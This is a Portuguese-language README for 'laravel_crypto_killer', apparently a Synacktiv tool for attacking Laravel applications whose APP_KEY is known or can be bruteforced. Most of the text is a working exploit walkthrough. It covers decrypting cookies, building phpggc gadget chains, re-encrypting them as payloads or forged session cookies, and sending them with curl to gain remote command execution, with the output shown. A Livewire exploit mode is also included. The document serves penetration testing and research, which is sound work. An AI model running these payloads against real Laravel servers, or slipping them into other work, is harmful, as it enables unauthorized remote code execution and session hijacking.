Laravel crypto killer

Logo

Uma ferramenta projetada para explorar más implementações de mecanismos de descriptografia em aplicações Laravel.

Esta ferramenta foi inicialmente projetada para construir payloads direcionados à função decrypt() do Laravel, do pacote Illuminate\Encryption.

Ela também pode ser usada para descriptografar qualquer dado criptografado via encrypt() ou encryptString().

A ferramenta requer uma APP_KEY válida para ser usada; você também pode tentar forçá-las por bruteforce se achar que há uma possível reutilização de chave de um projeto público, por exemplo.

Autores da ferramenta: @_remsio_ @Kainx42.

Uso

Você pode usar a ajuda em cada opção para utilizar a ferramenta:

$ ./laravel_crypto_killer.py -h
usage: laravel_crypto_killer.py [-h] {exploit,encrypt,decrypt,bruteforce} ...

 ___                                _       ___                    _             __       _   _              
(O O)                              (_ )    ( O_`\                 ( )_          ( O)    _(_ )(_ )            
 | |      _ _ _ __  _ _ _   _   __  | |    | ( (_)_ __ _   _ _ _  | ,_)  _      |  |/')(_)| | | |   __  _ __ 
 | |    /'_` ( '__/'_` ( ) ( )/'__`\| |    | |  _( '__( ) ( ( '_`\| |  /'_`\    |  , < | || | | | /'__`( '__)
<  |__ ( (_| | | ( (_| | \_/ (  ___/| |   <  (_( | |  | (_) | (_) | |_( (_) )  <  | \`\| || | | |(  ___| |   
<_____/`\__,_(_)  `\__,_`\___/`\____(___)  <_____/(_)  `\__, | ,__/`\__`\___/'  <__)  (_(_(___(___`\____(_)   
                                                     ( )_| | |                                             
                                                     `\___/(_)                                             
        This tool was firstly designed to craft payload targetting the Laravel decrypt() function from the package Illuminate\Encryption.
        
        It can also be used to decrypt any data encrypted via encrypt() or encryptString().

        The tool requires a valid APP_KEY to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example.

        Authors of the tool : @_remsio_, @Kainx42
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        

options:
  -h, --help            show this help message and exit

subcommands:
  You can use the option -h on each subcommand to get more info

  {exploit,encrypt,decrypt,bruteforce}
    exploit             Exploit mode
    encrypt             Encrypt mode
    decrypt             Decrypt mode
    bruteforce          Bruteforce potential values of APP_KEY. By default, all the values from the folder wordlists will be loaded.

$ ./laravel_crypto_killer.py encrypt -h
usage: laravel_crypto_killer.py encrypt [-h] [--key KEY] --value VALUE

optional arguments:
  -h, --help            show this help message and exit
  --key KEY, -k KEY     Key used by Laravel stored in APP_KEY in .env
  --value VALUE, -v VALUE
                        Value of the string data you want to laravel cipher (it has to be base64 encoded!). The place where you put a gadget chain from phpggc basically.
  --session_cookie SESSION_COOKIE, -sc SESSION_COOKIE
                        Add this option to format the ciphered value to exploit a Laravel Session Cookie (option SESSION_DRIVER=cookie). it should be a 40 character long hex chain

Alvos da ferramenta

A função decrypt do Illuminate\Encryption é frequentemente usada em aplicações Laravel. Por padrão, ela gerencia dados serializados e os criptografa usando a chave secreta do Laravel armazenada em APP_KEY.

namespace Illuminate\Encryption;
[...]
public function decrypt($payload, $unserialize = true)
    {
        $payload = $this->getJsonPayload($payload);

        $iv = base64_decode($payload['iv']);

        $decrypted = \openssl_decrypt(
            $payload['value'], $this->cipher, $this->key, 0, $iv
        );

        if ($decrypted === false) {
            throw new DecryptException('Could not decrypt the data.');
        }

        return $unserialize ? unserialize($decrypted) : $decrypted;
    }

A política do Laravel é, no momento, não corrigir gadget chains.

Portanto, um usuário capaz de enviar dados a uma função decrypt e de posse da chave secreta da aplicação poderá obter execução remota de comandos em uma aplicação Laravel.

Ambiente usado nos exemplos

O seguinte controller pode ser usado para testar a ferramenta:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Http\Response;

class EncryptController extends Controller
{
    public function encrypt(string $toencrypt): Response
    {
        $result = encrypt($toencrypt);
        return response($result, 200);
    }


    public function decrypt(string $todecrypt): Response
    {
        $result = decrypt($todecrypt);
        return response($result, 200);
    }
}

Decrypt

Usando o valor da APP_KEY, é possível descriptografar dados com o laravel_crypto_killer.

Primeiro, recupere um valor proveniente da função encrypt.

$ curl http://localhost/encrypt/aaa
eyJpdiI6IkczTHpUZkNHWk4yUnFUSjFrM2Q1WkE9PSIsInZhbHVlIjoiS1RLRXJRd01wTDJvZFZmbzl5SkFPQT09IiwibWFjIjoiMTFhZDJiM2Y2NDMzNjViMzNjMjg5MGI2ZTZlNTZkZjY2NTE0ZDhiMTc5ZmU0MGZiMDc5NzU4YWI0YTcxNTAwZSIsInRhZyI6IiJ9

Você pode então descriptografá-lo se estiver de posse de uma APP_KEY válida.

$ ./laravel_crypto_killer.py decrypt -k CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA= -v eyJpdiI6IkczTHpUZkNHWk4yUnFUSjFrM2Q1WkE9PSIsInZhbHVlIjoiS1RLRXJRd01wTDJvZFZmbzl5SkFPQT09IiwibWFjIjoiMTFhZDJiM2Y2NDMzNjViMzNjMjg5MGI2ZTZlNTZkZjY2NTE0ZDhiMTc5ZmU0MGZiMDc5NzU4YWI0YTcxNTAwZSIsInRhZyI6IiJ9
[+] Unciphered value identified!
[*] Unciphered value
s:3:"aaa";
[*] Base64 encoded unciphered version
b'czozOiJhYWEiOwYGBgYGBg=='
[+] Matched serialized data in results! It's time to exploit unserialization to get RCE mate!

Exemplo de exploração

Se um dado serializado for identificado em um resultado de descriptografia, você provavelmente conseguirá obter uma execução remota de comandos. Para isso, use o phpggc desenvolvido por Charles Fol para gerar uma gadget chain. É melhor tentar corresponder à versão do PHP em uso.

$ php7.4 phpggc Laravel/RCE9 system id -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=

Você pode então usar esse valor, criptografá-lo com o laravel_crypto_killer e, finalmente, enviá-lo ao servidor para obter seu RCE!

$ ./laravel_crypto_killer.py encrypt -k CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=
[+] Here is your laravel ciphered value, happy hacking mate!
eyJpdiI6ICJZdk56TDUvdlNkaUJMRU1sdGdSREpRPT0iLCAidmFsdWUiOiAiZjFjMGhnRkY3OHI4ejArVWxRb2RNVE04OVAzdGFhR2wvYzFHdDdxZFEzeEVSVHUxVzQ1dVdUSis4aUp3VkJqNjNrRzJGaFVuVk4vT0FQRFEwWkRIMnBJMU53ZG5SeG1OMk9Lbzh4aFZ4L2RuSHA5clVIdUtBZDJPakdvd3hPbjI4VDc4WXJkd0Y1SzQ2bFNjRzVzb3RuT0FkNExmbjRHMG54cnJHYUtGc1FhejhOUzlDbWtoQ2V2T1Nxb0drZWZnSVhLUXUrL3FGU2JYaXNjaEdTYkZtbDJSZmxvUXBieGFoWEduOXVidG9KcUJpcjlyOTJWdElTYTQwSysvZG9ZRXNMRElTUU5BZG1IT1kvK0ZCRE5Sbmt6ZlU1ZFh6VTRDQ3M3aVNEanJPSm9sTUxZK1pRVE02L0w2cWxJSmZQUCtya1JHd2RadVB6ckxKOXk2RExtdWxDRkczTXFTQzVxLzVRTkRkSkJpMG9XMTl0WjVwRmJGdWtFTklhbFM3cjM3S2IyUVd1eVgyd2pPcVJCVXQ4NDJVMjIveW13MWV5ZWxHUHR0VWlaRkdWaVoyd3RidndIRnVnTDJrTUVCMkpDaSIsICJtYWMiOiAiMTIyZjBhOWRhMmRjOTk1MWY4MWNkMWQyOWYxZjdjYzQ5ZDEzYWIwMzcwZjY4ZWY5MWI5OWQ4YTg2MjlhNTI3OCIsICJ0YWciOiAiIn0=

$ curl -s http://localhost/decrypt/eyJpdiI6ICJZdk56TDUvdlNkaUJMRU1sdGdSREpRPT0iLCAidmFsdWUiOiAiZjFjMGhnRkY3OHI4ejArVWxRb2RNVE04OVAzdGFhR2wvYzFHdDdxZFEzeEVSVHUxVzQ1dVdUSis4aUp3VkJqNjNrRzJGaFVuVk4vT0FQRFEwWkRIMnBJMU53ZG5SeG1OMk9Lbzh4aFZ4L2RuSHA5clVIdUtBZDJPakdvd3hPbjI4VDc4WXJkd0Y1SzQ2bFNjRzVzb3RuT0FkNExmbjRHMG54cnJHYUtGc1FhejhOUzlDbWtoQ2V2T1Nxb0drZWZnSVhLUXUrL3FGU2JYaXNjaEdTYkZtbDJSZmxvUXBieGFoWEduOXVidG9KcUJpcjlyOTJWdElTYTQwSysvZG9ZRXNMRElTUU5BZG1IT1kvK0ZCRE5Sbmt6ZlU1ZFh6VTRDQ3M3aVNEanJPSm9sTUxZK1pRVE02L0w2cWxJSmZQUCtya1JHd2RadVB6ckxKOXk2RExtdWxDRkczTXFTQzVxLzVRTkRkSkJpMG9XMTl0WjVwRmJGdWtFTklhbFM3cjM3S2IyUVd1eVgyd2pPcVJCVXQ4NDJVMjIveW13MWV5ZWxHUHR0VWlaRkdWaVoyd3RidndIRnVnTDJrTUVCMkpDaSIsICJtYWMiOiAiMTIyZjBhOWRhMmRjOTk1MWY4MWNkMWQyOWYxZjdjYzQ5ZDEzYWIwMzcwZjY4ZWY5MWI5OWQ4YTg2MjlhNTI3OCIsICJ0YWciOiAiIn0= | head -n 1
uid=1337(sail) gid=1000(sail) groups=1000(sail)

Modo bruteforce

Para identificar uma APP_KEY válida em uma aplicação, várias wordlists podem ser usadas para tentar adivinhar uma em uma instância Laravel.

Por padrão, os cookies XSRF-TOKEN e laravel_session são baseados na função encrypt e podem ser usados para realizar uma tentativa de bruteforce.

Modo check

Você pode facilmente verificar a validade de uma APP_KEY em relação a uma URL com o seguinte comando:

$ ./laravel_crypo_killer.py check https://www.example.com ko0ziOprodjT9TOcW3/CP2vyA3pjaRzz0ANa1uiCPU0=
[+] Cookies decrypted:
    * XSRF-TOKEN
    * example_session

Se o SESSION_DRIVER estiver definido com o valor cookie, o laravel_crypto_killer tem uma opção para formatar corretamente o cookie de sessão para exploração.

Para explorar esse tipo de vulnerabilidade, recupere o cookie após laravel_session; no nosso caso, seria d6WRg1VnF4sWv47men3oo4zBKLylyACOTKGsggKp:

$ curl -I http://localhost/login
HTTP/1.1 200 OK
Server: nginx/1.17.10
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.1.29
Cache-Control: no-cache, private
Date: Tue, 03 Sep 2024 11:36:39 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6IkdhT2luRFJtY2xFRTJrK0xNUXBpVnc9PSIsInZhbHVlIjoiWUoxdnVmVk5qTEU2d3E4Z3hHeE8yK3ZGNGVPRGtLaldoSXZFd1RhTUliOSs2a01PYmVKNTdiUEczak1TT2VtUXhrdTdUWUU1K201OFlzK0QzWmFHWUdFbnRkWkhsTVFNcExQb2o3UndweFMvVEN1SGVyZVZCWFdmSXhYTFVCa2UiLCJtYWMiOiJiNjhkNDgwZDI1NDRlMjkwNGJjNjk4NzU4ZDViOWUyOGIyMzMwZjEzODdmMGEyNWJjZjkyZjY0Zjk0ZGI0NDZkIiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 11:36:39 GMT; Max-Age=86400; path=/; domain=localhost; samesite=lax
Set-Cookie: laravel_session=eyJpdiI6IkxBODRMMTZXVCtQSnFTU0pQcGNjV2c9PSIsInZhbHVlIjoiQVo4c3VQUUdwb1VkZ3VvaTFnK21Jay9NaGlhZmlPSCtRWW1ObmZlY2xmT21RYnhOVk9IeitoeWdoQ3A4NGRMYWExM2JvQmFUZlJxaGZiSmRqK2UxN0pmWVpiWnZsWStnVENvV0VlZEFnSTdlT09sbU5DN2p6eU5vTkFoYlYyc0EiLCJtYWMiOiI1Mzg3YjZjZjM1ZmRiNGQ3M2QwZTBlNTI0ODg1NWFlODM1YjFkZGVlYWNlMjcwNWQ3Yjg5MWIzMDY4Mzc1MzI0IiwidGFnIjoiIn0%3D; expires=Wed, 04-Sep-2024 11:36:39 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax
Set-Cookie: d6WRg1VnF4sWv47men3oo4zBKLylyACOTKGsggKp=eyJpdiI6Im5SNVYzVzZIa3B5WWR6ZnpLM0p4ZVE9PSIsInZhbHVlIjoiUTUvWm5RT3BIVzhlQ1dhclA3UnlqalBYMk9pZ0J3UHpDZmlKZy9nVTJkVThVUHJPbzdsanRHNUw2NVJ5Q1oxSERrSmdRcDErVGlUMDRBeGZVekoxaGQ1cGo2UFo1TzdPVmxhV2E2Yms3Wnl5dldFdHdxVUdBNUtoYUZUM054eEF3ZFFSZTY1MUtSSVBGY0pxbitZV0hiTytKeWUwR1RLODY2WjIyeHFQKzNWQllDUUw3enB0NzNoSXJxZUVXMVFmVVRqSmtTZ0NxM3k3TDk2cVUreThwa3BLa0dNMUJpZkhyUGdCUndKTUdaakRjSjhId0wyemZFS1A2c3oxTllhS0lxYzkwOTNJTzM3NTBqV2s1SjBUb3c9PSIsIm1hYyI6IjViYzg2MjMwNWY4Mjk3YjEzZmQwODY2YzdiMmFjMGIyZTEyNDY4Nzk3NzA2ZDM0N2ZjZWJhYWQyZTZmZDgwMmUiLCJ0YWciOiIifQ%3D%3D; expires=Wed, 04-Sep-2024 11:36:39 GMT; Max-Age=86400; path=/; domain=localhost; httponly; samesite=lax

Em seguida, descriptografe o valor do cookie; ele deve conter um hash seguido de um objeto JSON contendo dados serializados em PHP.

$ ./laravel_crypto_killer.py decrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v eyJpdiI6Im5SNVYzVzZIa3B5WWR6ZnpLM0p4ZVE9PSIsInZhbHVlIjoiUTUvWm5RT3BIVzhlQ1dhclA3UnlqalBYMk9pZ0J3UHpDZmlKZy9nVTJkVThVUHJPbzdsanRHNUw2NVJ5Q1oxSERrSmdRcDErVGlUMDRBeGZVekoxaGQ1cGo2UFo1TzdPVmxhV2E2Yms3Wnl5dldFdHdxVUdBNUtoYUZUM054eEF3ZFFSZTY1MUtSSVBGY0pxbitZV0hiTytKeWUwR1RLODY2WjIyeHFQKzNWQllDUUw3enB0NzNoSXJxZUVXMVFmVVRqSmtTZ0NxM3k3TDk2cVUreThwa3BLa0dNMUJpZkhyUGdCUndKTUdaakRjSjhId0wyemZFS1A2c3oxTllhS0lxYzkwOTNJTzM3NTBqV2s1SjBUb3c9PSIsIm1hYyI6IjViYzg2MjMwNWY4Mjk3YjEzZmQwODY2YzdiMmFjMGIyZTEyNDY4Nzk3NzA2ZDM0N2ZjZWJhYWQyZTZmZDgwMmUiLCJ0YWciOiIifQ%3D%3D
[+] Unciphered value identified!
[*] Unciphered value
57b910d166b2a034c861d4e61c4d8e584bbf9d19|{"data":"a:2:{s:6:\"_token\";s:40:\"R4TcbmmERkI6MHSPymWc0DkqJfA3hM87eTghuV73\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1725449799}
[*] Base64 encoded unciphered version
b'NTdiOTEwZDE2NmIyYTAzNGM4NjFkNGU2MWM0ZDhlNTg0YmJmOWQxOXx7ImRhdGEiOiJhOjI6e3M6NjpcIl90b2tlblwiO3M6NDA6XCJSNFRjYm1tRVJrSTZNSFNQeW1XYzBEa3FKZkEzaE04N2VUZ2h1VjczXCI7czo2OlwiX2ZsYXNoXCI7YToyOntzOjM6XCJvbGRcIjthOjA6e31zOjM6XCJuZXdcIjthOjA6e319fSIsImV4cGlyZXMiOjE3MjU0NDk3OTl9BwcHBwcHBw=='
[+] Matched serialized data in results! It's time to exploit unserialization to get RCE mate!

Depois, recupere o valor do hash antes do pipe |; no caso anterior, seria 57b910d166b2a034c861d4e61c4d8e584bbf9d19, e passe-o para a opção --session_cookie ao recriptografar o cookie para obter RCE. Ele precisa corresponder ao valor do cookie descriptografado; caso contrário, o exploit não funcionará.

$ php8.2 phpggc Laravel/RCE15 'system' 'id' -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0=
$ ./laravel_crypto_killer.py encrypt -k base64:Bqm5/FxXT5IT0Jx7vbhVvSiMKXTI2JMOCD9XKzHiHJw= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6MTp7czo5OiIAKgBldmVudHMiO086Mjk6IklsbHVtaW5hdGVcUXVldWVcUXVldWVNYW5hZ2VyIjoyOntzOjY6IgAqAGFwcCI7YToxOntzOjY6ImNvbmZpZyI7YToyOntzOjEzOiJxdWV1ZS5kZWZhdWx0IjtzOjM6ImtleSI7czoyMToicXVldWUuY29ubmVjdGlvbnMua2V5IjthOjE6e3M6NjoiZHJpdmVyIjtzOjQ6ImZ1bmMiO319fXM6MTM6IgAqAGNvbm5lY3RvcnMiO2E6MTp7czo0OiJmdW5jIjthOjI6e2k6MDtPOjI4OiJJbGx1bWluYXRlXEF1dGhcUmVxdWVzdEd1YXJkIjozOntzOjExOiIAKgBjYWxsYmFjayI7czoxNDoiY2FsbF91c2VyX2Z1bmMiO3M6MTA6IgAqAHJlcXVlc3QiO3M6Njoic3lzdGVtIjtzOjExOiIAKgBwcm92aWRlciI7czoyOiJpZCI7fWk6MTtzOjQ6InVzZXIiO319fX0= -sc=57b910d166b2a034c861d4e61c4d8e584bbf9d19
[+] Here is your laravel ciphered session cookie, happy hacking mate!
eyJpdiI6ICIzNkNNcDlLQ3JVU2ZEMTBxcDdWd1hRPT0iLCAidmFsdWUiOiAiRWlSdVNYeTFQdWh0MXRMcE1JaDluamtCMnE1YTFncHJTa2lPdXVCU2p2eXhQdmYydTdrbjlucGVsWm9hZ1VteEZDbkxiZ1BkVGxHQUU0K0FQL1JXUEFSbVpVV3BMOTdXeUdMTm9mcFVuTVo2QXg5U0w4OE9QZHkyaUk3cUU2SjN1RC9wZHJaVk8wbjlHMlNJYmhZbWtEelIyOEhVLzFMME1kd3hQUGpERURYbmZDQmtNcngxN0xYcWRpdmNzODU5SS9IMzZVcXMxaDJXT1ovNlhoc2NHeHBtQ2RTcHBFNi9yb0habElkNzBIRDRMaTd4V2FPZGpSNjJoVG5OTHRXYkpydVBJRk5hLzBuR1M2SUI5NkFKOXlUaHI1djdMMno0TE4rbHpOUHpRR0JKNDl3WDA0WU1DNEhpZHRhakd3bytRUkRPaEpNYkJBY0RjU0hTQ2hqZVBrTXlHQXJNZjdzaGF2c0UwRFQ0d2l6Tm1GdUVJM21ZQ3NpZnFwcExRWEVCZlpCUkRwNEFpNVFsdUMzTHpBNXh0M2FnMFBoZ1JvQTZlS0VsTzRqMG16WitqQVk4ZXljWUVsU09YcFF3NWZLcDBHdzRja1JSVVZsc3kzZmNOUnRzbktneXVzTVdQQWFCazJsWUhCcU44aTdEMzF1N1I4eWw5UU4zWW1sUnkrWXVRdFNadnFPbTExTWRkWDdaVHFQR3RtZEtrODFTNHVLYnJJRlhPandGSXc0eXdvV2xwRElHdk44VzNDditpZUJTVFpieTZmU092TUZzbXZMT0pJNjRZdWU0SGVmOWZrRmEwMXFnaG4yKzJkV2xpQ3l1blU5dmxqYWdPbGRxMktPWjgwMDhLL1ZGd1V4NU9uVktLRWFLb1ZBVjB5QlNGTjBpOW8xL2taTmVlNENoR0ZSMkxFQjV5TW5sSURiQ3dYZzhqN2xsZVNuTG5EZ0wyb283M3lQTXR4cHYvTk93WVBjLzgrd0l2d3NaM3VRbWF6NGVkWFd1Vk9WaEE0dWlPT0c2bWNEdEFtWmw4SUdsbS95bUU5eDVSN1ZKMjN0WmN1dmhvc1NXWmt2UVloMGJxbDdlRTk0a21JN0Z2a3dYUEFDSSIsICJtYWMiOiAiZDFlNmRiZWFhZTgzYjRiNTMxNGVmNTZjZDgyMDgyYmFkNjE3ZmI3MmIyNzhhOGJkZmZmOGJlMWI4MjA0ZmIzNCIsICJ0YWciOiAiIn0=

Finalmente, use essa cadeia para obter sua execução remota de comandos. Tenha cuidado: você também precisa especificar o valor do cookie laravel_session junto com o cookie que realmente contém o payload. No nosso caso, o payload é armazenado dentro do cookie d6WRg1VnF4sWv47men3oo4zBKLylyACOTKGsggKp, que é referenciado dentro do cookie laravel_session.

$ curl -s -H 'Cookie:laravel_session=eyJpdiI6IkxBODRMMTZXVCtQSnFTU0pQcGNjV2c9PSIsInZhbHVlIjoiQVo4c3VQUUdwb1VkZ3VvaTFnK21Jay9NaGlhZmlPSCtRWW1ObmZlY2xmT21RYnhOVk9IeitoeWdoQ3A4NGRMYWExM2JvQmFUZlJxaGZiSmRqK2UxN0pmWVpiWnZsWStnVENvV0VlZEFnSTdlT09sbU5DN2p6eU5vTkFoYlYyc0EiLCJtYWMiOiI1Mzg3YjZjZjM1ZmRiNGQ3M2QwZTBlNTI0ODg1NWFlODM1YjFkZGVlYWNlMjcwNWQ3Yjg5MWIzMDY4Mzc1MzI0IiwidGFnIjoiIn0%3D;  d6WRg1VnF4sWv47men3oo4zBKLylyACOTKGsggKp=eyJpI[...]]k0a21JN0Z2a3dYUmOGJlMWI4MjA0ZmIzNCIsICJ0YWciOiAiIn0=' http://localhost/login | head -n1
uid=1000(user) gid=1000(user) groups=1000(user),0(root),33(www-data)

Modo exploit

Livewire :

$ python3 laravel_crypto_killer.py exploit -e livewire -k 'base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA=' -j request.json --function system -p whoami
{...}

Contribuição

Você tem uma ideia legal, encontrou um comportamento inesperado? Por favor, nos avise abrindo uma issue ou enviando um pull request! :)

Aviso legal

A Synacktiv não pode ser responsabilizada se a ferramenta for usada para fins maliciosos; ela serve apenas para fins educacionais.

Licença

Este projeto é licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.

laravel-crypto-killer

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